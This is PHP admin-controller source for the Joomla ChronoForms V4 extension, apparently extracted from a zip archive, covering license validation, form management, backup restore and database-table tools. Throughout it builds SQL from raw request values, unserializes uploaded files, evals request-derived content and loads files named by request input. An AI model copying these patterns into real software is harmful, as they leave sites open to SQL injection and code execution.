extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery("UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PKs>\#com_chronoforms/versions/index.htmlnuW+APKs>\`::'com_chronoforms/versions/db_updates.phpnuW+AgetTableFields(array($table_name), false); $table_fields = $results[$table_name]; $table_fields = array_keys($table_fields); //add new columns $columns = array( 'app' => "VARCHAR( 100 ) NOT NULL DEFAULT ''" ); foreach($columns as $f => $data){ if(!in_array($f, $table_fields)){ $sql = "ALTER TABLE `#__chronoforms` ADD `".$f."` ".$data.";"; $database->setQuery($sql); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); }else{ $updates++; } } } $mainframe->enqueueMessage("Applied '".$updates."' Database updates successfully."); } } ?>PKs>\֌L^com_chronoforms/controller.phpnuW+Aparams = $string; }else{ $this->setParams($string); } } function get($k, $v = null){ if(array_key_exists($k, $this->params)){ return $this->params[$k]; }else{ return $v; } } function set($k, $v){ $this->params[$k] = $v; } function setParams($string = ''){ if(strlen(trim(($string))) > 0){ $data = json_decode($string, true); $this->params = $data; }else{ $this->params = array(); } } function toString(){ return json_encode($this->params); } function toArray(){ return $this->params; } function toObject(){ return json_decode(json_encode($this->params)); } } } class ChronoFormsAdmin extends JObject{ function __construct(){ } public static function admin_form(){ require_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'chronoform.php'); require_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'chronoforms.html.php'); $formname = JRequest::getVar('chronoform', ''); $form_id = JRequest::getVar('form_id', ''); $event = JRequest::getVar('event'); if(empty($formname)){ if(empty($form_id)){ $mainframe->redirect("index.php?option=com_chronoforms", "Form doesn't exist!"); }else{ $row = JTable::getInstance('chronoforms', 'Table'); $row->load((int)$form_id); $formname = $row->name; //load some table data $database = JFactory::getDBO(); $table_name = $_POST['table_name']; $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } if(empty($primary)){ JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //get record data if(isset($_POST['cb']) && !empty($_POST['cb'])){ $_POST['cf_id'] = $_POST['cb'][0]; //load all selected records data $database->setQuery("SELECT * FROM ".$table_name." WHERE ".$primary." IN ('".implode("','", $_POST['cb'])."')"); $_POST['chronoform_data'] = $rows_data = $database->loadAssocList(); }else{ //JError::raiseWarning(100, "Invalid record."); //$mainframe->redirect("index.php?option=com_chronoforms"); } } } $form = CFChronoForm::getInstance($formname); $form->admin = true; //check if the event is the CSV export if($event == 'cf_csv_export'){ $csv_event = array( 'events' => array( 'cf_csv_export' => array( 'actions' => array( 'cfaction_csv_export_gh_9999' => array( 'events' => array( 'cfaction_csv_export_gh_9999_success' => array(), 'cfaction_csv_export_gh_9999_failed' => array() ) ) ) ) ) ); $form->form_details->events_actions_map = base64_encode(serialize($csv_event)); $csv_action_data = new stdClass(); $csv_action_data->type = 'csv_export_gh'; $csv_action_data->order = 9999; $csv_action_data->enabled = 1; $csv_action_params = new JParameter(''); $csv_action_params->set('download_export', 1); $csv_action_params->set('download_nosave', 1); $csv_action_data->params = $csv_action_params->toString(); $csv_action_data->content1 = ''; $form->form_actions[] = $csv_action_data; } $form->process($event); HTML_ChronoForms::processView($form); } public static function action_task(){ $mainframe = JFactory::getApplication(); $form_action = JRequest::getVar('action_name', ''); if(!empty($form_action)){ //load the action PHP file $action_file = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$form_action.DS.$form_action.'.php'; require_once($action_file); $actionclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'cfaction_'.$form_action); if(class_exists($actionclassname)){ $actionclass = new $actionclassname; $fn = JRequest::getVar('fn', ''); if(!empty($fn)){ echo $actionclass->$fn(); } }else{ $action_params = array(); } }else{ echo ''; } $mainframe->close(); } public static function updates(){ if(JRequest::getVar('fn', '') != ''){ switch(JRequest::getVar('fn', '')){ case "db_updates": require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."versions".DS."db_updates.php"); ChronoFormsDbUpdates::updateDB(); break; default: break; } } HTML_Admin_ChronoForms::updates(); } public static function index(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); //prepare the pagination $option = 'com_chronoforms'; $limit = $mainframe->getUserStateFromRequest($option.'.limit', 'limit', $mainframe->getCfg('list_limit'), 'int'); $limitstart = $mainframe->getUserStateFromRequest($option.'.limitstart', 'limitstart', 0, 'int'); //get apps $app = $mainframe->getUserStateFromRequest($option.'.app', 'select_app', '', 'string'); $apps = array('' => 'Default'); $database->setQuery("SELECT DISTINCT app FROM #__chronoforms"); $all = $database->loadObjectList(); foreach($all as $one){ if(!in_array($one->app, array_keys($apps))){ $apps[$one->app] = $one->app; } } // count entries $database->setQuery("SELECT count(*) FROM #__chronoforms WHERE `app` = '".$app."'"); //$database->setQuery("SELECT count(*) FROM #__chronoforms"); $total = $database->loadResult(); jimport('joomla.html.pagination'); $pageNav = new JPagination($total, $limitstart, $limit); //load forms data $val = ChronoFormsAdminVersion::__getValStatus(); $database->setQuery("SELECT * FROM #__chronoforms WHERE `app` = '".$app."' ORDER BY id LIMIT $pageNav->limitstart,$pageNav->limit"); //$database->setQuery("SELECT * FROM #__chronoforms ORDER BY id LIMIT $pageNav->limitstart,$pageNav->limit"); $forms = $database->loadObjectList(); if(!empty($forms)){ foreach($forms as $k => $form){ //load actions $query = "SELECT * FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$form->id."' AND `enabled` = '1' ORDER BY `order`"; $database->setQuery($query); $forms[$k]->form_actions = $database->loadObjectList(); } } HTML_Admin_ChronoForms::index($forms, $pageNav, $apps, $val); } public static function publish($task = 'publish'){ if(isset($_POST['cb']) && !empty($_POST['cb'])){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $published = ($task == 'publish') ? 1 : 0; $database->setQuery("UPDATE #__chronoforms SET published='".$published."' WHERE id='".$_POST['cb'][0]."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } $mainframe->redirect("index.php?option=com_chronoforms", "Updated successfully!"); } } public static function edit_form(){ $form = null; if(isset($_POST['cb']) && !empty($_POST['cb'])){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$_POST['cb'][0]."'"); $form = $database->loadObject(); if(!empty($form)){ //load actions $query = "SELECT * FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$form->id."' AND `enabled` = '1' ORDER BY `order`"; $database->setQuery($query); $form->form_actions = $database->loadObjectList(); } } HTML_Admin_ChronoForms::edit($form); } public static function save_form($task = 'save'){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['params']) && !empty($_POST['params']) && is_array($_POST['params'])){ $params = new JParameter(''); foreach($_POST['params'] as $k => $v){ if(is_array($v)){ $v = implode(",", $v); } $params->set($k, $v); } $_POST['params'] = $params->toString(); } $post = JRequest::get('post', JREQUEST_ALLOWRAW); if(!$row->bind($post)){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if($task == 'apply'){ if(isset($row->id) && !empty($row->id)){ $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$row->id."'"); $form = $database->loadObject(); } $_POST['cb'] = array($row->id); ChronoFormsAdmin::edit_form(); //HTML_Admin_ChronoForms::edit($form); }else{ $mainframe->redirect("index.php?option=com_chronoforms", "Form '".$row->name."' has been saved successfully."); } } public static function delete_temp(){ $database = JFactory::getDBO(); $database->setQuery("SELECT `id` FROM #__chronoforms WHERE `app` = '__TMP__'"); $cbs = $database->loadResultArray(); if(is_array($cbs)){ //$this->delete_form($cbs); } } public static function delete_form($cbs = array()){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); //delete the form with all its actions if(empty($cbs)){ if(isset($_POST['cb']) && !empty($_POST['cb'])){ $cbs = $_POST['cb']; } } if(isset($cbs) && !empty($cbs)){ foreach($cbs as $form_id){ $database->setQuery("DELETE FROM #__chronoforms WHERE id='".$form_id."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect("index.php?option=com_chronoforms"); } $database->setQuery("DELETE FROM #__chronoform_actions WHERE chronoform_id='".$form_id."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } $mainframe->redirect("index.php?option=com_chronoforms", "Deleted successfully."); } public static function copy_form(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $row->load($_POST['cb'][0]); $row->id = ''; $row->name = $row->name."-Copy"; if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } //copy actions as well $new_id = $row->id; unset($row); $query = "SELECT `id` FROM `#__chronoform_actions` WHERE `chronoform_id` = '".$_POST['cb'][0]."'"; $database->setQuery($query); $row_ids = $database->loadResultArray(); foreach($row_ids as $id){ $row = JTable::getInstance('chronoformActions', 'Table'); $row->load($id); $row->id = ''; $row->chronoform_id = $new_id; if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } $mainframe->redirect("index.php?option=com_chronoforms", "Form(s) successfully copied."); } public static function backup_forms(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $output = ''; foreach($_POST['cb'] as $form_id){ $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$form_id."'"); $form = $database->loadAssoc(); $database->setQuery("SELECT * FROM #__chronoform_actions WHERE chronoform_id='".$form_id."' ORDER BY `order` ASC"); $formactions = $database->loadAssocList(); $output .= "<__FORM_START__><__FORM_ROW_START__>".base64_encode(serialize($form))."<__FORM_ROW_END__><__FORM_ACTIONS_START__>".base64_encode(serialize($formactions))."<__FORM_ACTIONS_END__><__FORM_END__>"."\n"; } //get the domain name $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $domain = $matches[2]; //download the file if (ereg('Opera(/| )([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "Opera"; } elseif (ereg('MSIE ([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "IE"; } else { $UserBrowser = ''; } $mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ? 'application/octetstream' : 'application/octet-stream'; @ob_end_clean(); ob_start(); header('Content-Type: ' . $mime_type); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); if ($UserBrowser == 'IE') { header('Content-Disposition: inline; filename="' . "CFV4_FormsBackup_ON_".$domain."_".date('d_M_Y_H:i:s').'.cf4bak"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="' . "CFV4_FormsBackup_ON_".$domain."_".date('d_M_Y_H:i:s').'.cf4bak"'); header('Pragma: no-cache'); } print $output; exit(); } } public static function restore_forms(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); $files = $_FILES; if(is_array($files) && !empty($files)){ //the file has been uploaded $file = $files['file']; $filename = $file['name']; $exten = explode(".", $filename); if($exten[count($exten)-1] == 'cf4bak'){ $path = JPATH_BASE.DS.'cache'; $uploadedfile = JFile::upload($file['tmp_name'], $path.DS.$filename); if(!$uploadedfile){ JError::raiseWarning(100, "UPLAOD FAILED".": ".$file['error']); $mainframe->redirect("index.php?option=com_chronoforms"); }else{ ChronoFormsAdmin::restore_forms_from_file($path.DS.$filename); $mainframe->redirect("index.php?option=com_chronoforms", "Forms restored successfully."); } }else{ //wrong file extension JError::raiseWarning(100, "The file uploaded was not a Chronoforms V4 forms backup file."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ //no file, render the upload page HTML_Admin_ChronoForms::restore_forms(); } } public static function restore_forms_from_file($bak_file_path, $replacers = array()){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $data = file_get_contents($bak_file_path); //preg_match_all('/<__FORM_START__>(.*?)<__FORM_END__>/is', $data, $forms_data); $data = trim($data); $forms_data = explode("\n", $data); if(!empty($data) && !empty($forms_data)){ //loop through each form backup line foreach($forms_data as $form_data){ $form_data = str_replace(array('<__FORM_START__>', '<__FORM_END__>'), '', $form_data); //get form row data $form_row_data = explode('<__FORM_ROW_END__>', $form_data); //get actions data string with tags $form_actions_data = $form_row_data[1]; //get form pure row code $form_row_data = str_replace('<__FORM_ROW_START__>', '', $form_row_data[0]); //decrypt the code and save it $form_row_data = unserialize(base64_decode($form_row_data)); if(!empty($replacers)){ $form_row_data = str_replace(array_keys($replacers), array_values($replacers), var_export($form_row_data, true)); eval('?>'.''); } unset($form_row_data['id']); //unpublish old items with the same name $database->setQuery("UPDATE #__chronoforms SET published='0' WHERE `name` = '".$form_row_data['name']."'"); if(!$database->query()){ JError::raiseWarning(100, "Couldn't unpublish old items with the same name."); } //insert new items $row = JTable::getInstance('chronoforms', 'Table'); if(!$row->bind($form_row_data)){ JError::raiseWarning(100, $row->getError()); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); } $chronoform_id = $row->id; //get form actions rows pure code $form_actions_data = str_replace(array('<__FORM_ACTIONS_START__>', '<__FORM_ACTIONS_END__>'), '', $form_actions_data); //decrypt the code and save it $form_actions_data = unserialize(base64_decode($form_actions_data)); if(!empty($replacers)){ $form_actions_data = str_replace(array_keys($replacers), array_values($replacers), var_export($form_actions_data, true)); eval('?>'.''); } foreach($form_actions_data as $form_action){ unset($form_action['id']); $form_action['chronoform_id'] = $chronoform_id; $row = JTable::getInstance('chronoformactions', 'Table'); if(!$row->bind($form_action)){ JError::raiseWarning(100, $row->getError()); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); } } } } return true; } public static function install_action(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.archive'); $files = $_FILES; if(is_array($files) && !empty($files)){ //the file has been uploaded $file = $files['file']; $filename = $file['name']; $exten = explode(".", $filename); if($exten[count($exten)-1] == 'zip'){ $path = JPATH_BASE.DS.'cache'; $uploadedfile = JFile::upload($file['tmp_name'], $path.DS.$filename); if(!$uploadedfile){ JError::raiseWarning(100, "UPLAOD FAILED".": ".$file['error']); $mainframe->redirect("index.php?option=com_chronoforms"); }else{ $zipper = JArchive::getAdapter('zip'); if($zipper->extract($path.DS.$filename, $path.DS.$exten[0])){ //we could extract the file, copy if(JFolder::copy($path.DS.$exten[0].DS, JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."form_actions".DS, '', true) === true){ $mainframe->redirect("index.php?option=com_chronoforms", "Action installed successfully."); }else{ JError::raiseWarning(100, "Couldn't copy to the destination folder."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ //failed JError::raiseWarning(100, "Couldn't extract the file provided."); $mainframe->redirect("index.php?option=com_chronoforms"); } } }else{ //wrong file extension JError::raiseWarning(100, "The file uploaded was not a Chronoforms V4 action installer file."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ //no file, render the upload page HTML_Admin_ChronoForms::install_action(); } } public static function form_wizard($task = 'form_wizard'){ $mainframe = JFactory::getApplication(); $form = null; $formactions = null; if($task == 'form_wizard'){ if(isset($_POST['form_id']) || isset($_GET['form_id'])){ $form_id = isset($_POST['form_id']) ? (int)$_POST['form_id'] : (int)$_GET['form_id']; if($form_id > 0){ //load existing form $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$form_id."'"); $form = $database->loadObject(); $database->setQuery("SELECT * FROM #__chronoform_actions WHERE chronoform_id='".$form_id."' ORDER BY `order` ASC"); $formactions = $database->loadObjectList(); //print_r2(unserialize(base64_decode($form->events_actions_map))); } }else{ if(!empty($_POST)){ ChronoFormsAdmin::_save_form_wizard(); $mainframe->redirect("index.php?option=com_chronoforms", "Form '".$_POST['data']['Chronoform']['name']."' has been saved successfully."); } } }else{ //apply task if(!empty($_POST)){ $form_id = isset($_POST['data']['Chronoform']['id']) ? (int)$_POST['data']['Chronoform']['id'] : (int)$_GET['form_id']; $save_id = ChronoFormsAdmin::_save_form_wizard(); if(!$form_id){ $form_id = $save_id; } if(isset($_POST['save_mode']) && $_POST['save_mode'] == 'preview'){ //do nothing }else{ $mainframe->redirect("index.php?option=com_chronoforms&task=form_wizard&form_id=".$form_id, "Changes applied successfully."); } } } HTML_Admin_ChronoForms::form_wizard($form, $formactions); } public static function list_data(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $index = $_POST['cb'][0]; $_POST['table_name'] = $_POST['table_name'][$index]; $_POST['form_id'] = $index; } if((isset($_POST['table_name']) && !empty($_POST['table_name'])) || (isset($_GET['table_name']) && !empty($_GET['table_name']))){ $table_name = isset($_POST['table_name']) ? $_POST['table_name'] : $_GET['table_name']; //load some table data $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } //prepare the pagination $option = 'com_chronoforms.'.$table_name; $limit = $mainframe->getUserStateFromRequest($option.'.limit', 'limit', $mainframe->getCfg('list_limit'), 'int'); $limitstart = $mainframe->getUserStateFromRequest($option.'.limitstart', 'limitstart', 0, 'int'); // count entries $database->setQuery("SELECT count(*) FROM `".$table_name."`"); $total = $database->loadResult(); jimport('joomla.html.pagination'); if($limitstart > $total)$limitstart = 0; $pageNav = new JPagination($total, $limitstart, $limit); //load the data $query = "SELECT * FROM `".$table_name."`"; if(!empty($primary)){ $query .= " ORDER BY ".$primary; } $query .= " LIMIT $pageNav->limitstart,$pageNav->limit"; $database->setQuery($query); $table_data = $database->loadObjectList(); HTML_Admin_ChronoForms::list_data($table_name, $table_fields, $table_data, $pageNav); }else{ JError::raiseWarning(100, "No tables were selected."); $mainframe->redirect("index.php?option=com_chronoforms"); } } public static function show_data(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if((isset($_POST['table_name']) && !empty($_POST['table_name'])) || (isset($_GET['table_name']) && !empty($_GET['table_name']))){ $table_name = isset($_POST['table_name']) ? $_POST['table_name'] : $_GET['table_name']; //load some table data $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } if(empty($primary)){ JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //show data if(isset($_POST['cb']) && !empty($_POST['cb'])){ $database->setQuery("SELECT * FROM ".$table_name." WHERE ".$primary."='".$_POST['cb'][0]."'"); $row_data = $database->loadObject(); HTML_Admin_ChronoForms::show_data($table_name, $table_fields, $row_data); }else{ JError::raiseWarning(100, "Invalid record."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ JError::raiseWarning(100, "Table doesn't exist!"); $mainframe->redirect("index.php?option=com_chronoforms"); } } public static function delete_data(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if((isset($_POST['table_name']) && !empty($_POST['table_name'])) || (isset($_GET['table_name']) && !empty($_GET['table_name']))){ $table_name = isset($_POST['table_name']) ? $_POST['table_name'] : $_GET['table_name']; //load some table data $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } if(empty($primary)){ JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //delete the form with all its actions if(isset($_POST['cb']) && !empty($_POST['cb'])){ foreach($_POST['cb'] as $r_id){ $database->setQuery("DELETE FROM ".$table_name." WHERE `".$primary."` = '".$r_id."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } }else{ JError::raiseWarning(100, "Table doesn't exist!"); $mainframe->redirect("index.php?option=com_chronoforms"); } unset($_POST['cb']); ChronoFormsAdmin::list_data(); //$mainframe->redirect("index.php?option=com_chronoforms&task=list_data&table_name=".$table_name, "Deleted successfully."); } public static function create_table($task = 'create_table'){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); //switch task if($task == 'save_table'){ if(isset($_POST['field_name']) && !empty($_POST['field_name']) && !empty($_POST['_cf_table_name'])){ $create = array("CREATE TABLE IF NOT EXISTS `".$_POST['_cf_table_name']."` ("); $primary_key = ""; foreach($_POST['field_name'] as $k => $name){ $name = trim($name); if(!empty($name) && isset($_POST['enabled'][$k]) && ((int)$_POST['enabled'][$k] == 1)){ $length = ""; if(!empty($_POST['field_length'][$k])){ $length = "(".$_POST['field_length'][$k].")"; } $default = ""; if(!isset($_POST['nulled'][$k])){ $default = " NOT NULL"; } if(!empty($_POST['field_default'][$k])){ $default .= " default '".$_POST['field_default'][$k]."'"; } $extra = ""; if(!empty($_POST['field_extra'][$k])){ $extra = " ".$_POST['field_extra'][$k]; } $create[] = "`".$name."` ".$_POST['field_type'][$k].$length.$default.$extra.","; if(isset($_POST['field_key'][$k]) && (int)$_POST['field_key'][$k] == 1){ $primary_key = "PRIMARY KEY (`".$name."`)"; } } } if(!empty($primary_key)){ $create[] = $primary_key; } $create[] = ");"; $create = implode("\n", $create); $database->setQuery($create); if(!$database->query()){ JError::raiseWarning(100, $database->getError()."

      Check table query below:

      ".$create); $mainframe->redirect("index.php?option=com_chronoforms"); } $mainframe->redirect("index.php?option=com_chronoforms", "Table successfully created."); } }else{ $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $row->load($_POST['cb'][0]); $form_code = $row->content; $fields_names = ChronoFormsAdmin::_getFormFieldsNames($form_code); }else{ JError::raiseWarning(100, 'Invalid record!'); $mainframe->redirect("index.php?option=com_chronoforms"); } $defaults = array( 'cf_id' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => 'PRI', 'extra' => 'auto_increment', 'enabled' => 1), 'cf_uid' => array('type' => 'VARCHAR', 'length' => '255', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_created' => array('type' => 'DATETIME', 'length' => '', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_modified' => array('type' => 'DATETIME', 'length' => '', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_created_by' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_modified_by' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_ipaddress' => array('type' => 'VARCHAR', 'length' => '255', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_user_id' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1) ); foreach($fields_names as $name){ if($name != 'cf_id'){ $defaults[$name] = array('type' => 'VARCHAR', 'length' => '255', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1); } } } HTML_Admin_ChronoForms::create_table($row, $defaults); } function _getFormFieldsNames($form_code){ $fields_names = array(); $pattern_input = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match_all($pattern_input, $form_code, $matches); foreach($matches[2] as $match){ if(strpos($match, '[]')){ $match = str_replace('[]', '', $match); } $fields_names[] = trim($match); } $fields_names = array_unique($fields_names); return $fields_names; } public static function wizard_preview(){ $formdata = array(); if(!empty($_POST['chronofield'])){ foreach($_POST['chronofield'] as $key => $fielddata){ $formdata['field_'.$key] = array(); foreach($fielddata as $fieldname => $fieldvalue){ $formdata['field_'.$key][$fieldname] = $fieldvalue; } } } $content = ChronoFormsAdmin::_processWizardCode($formdata); ob_start(); eval('?>'.$content); $content = ob_get_clean(); echo $content; $mainframe = JFactory::getApplication(); $mainframe->close(); } function _save_form_wizard(){ //generate XML code for the form $chronoform = array(); $formdata = array(); if(!empty($_POST['chronofield'])){ foreach($_POST['chronofield'] as $key => $fielddata){ $formdata['field_'.$key] = array(); foreach($fielddata as $fieldname => $fieldvalue){ $formdata['field_'.$key][$fieldname] = $fieldvalue; } } } //if easy mode, load the preset events actions if(isset($_POST['wizard_mode']) && $_POST['wizard_mode'] == 'easy'){ $_POST['chronoaction'][3] = array('type' => 'show_html'); $_POST['chronoaction'][5] = array('type' => 'event_loop'); $_POST['chronoaction'][7] = array('type' => 'event_loop'); $_POST['chronoaction'][16] = array('type' => 'handle_arrays'); } //prepare the actions details for the model $formactionsdata = array(); $action_count = 0; if(!empty($_POST['chronoaction'])){ foreach($_POST['chronoaction'] as $key => $actiondata){ $type = $_data['ChronoformAction'][$action_count]['type'] = $actiondata['type']; $_data['ChronoformAction'][$action_count]['order'] = $key; if(isset($actiondata['action_'.$actiondata['type'].'_'.$key.'_enabled'])){ $_data['ChronoformAction'][$action_count]['enabled'] = $actiondata['action_'.$actiondata['type'].'_'.$key.'_enabled']; unset($actiondata['action_'.$actiondata['type'].'_'.$key.'_enabled']); }else{ $_data['ChronoformAction'][$action_count]['enabled'] = 1; } //$_data['ChronoformAction'][$action_count]['event'] = $actiondata['action_'.$actiondata['type'].'_'.$key.'_event']; //unset($actiondata['action_'.$actiondata['type'].'_'.$key.'_event']); if(isset($actiondata['action_'.$actiondata['type'].'_'.$key.'_content1'])){ $_data['ChronoformAction'][$action_count]['content1'] = 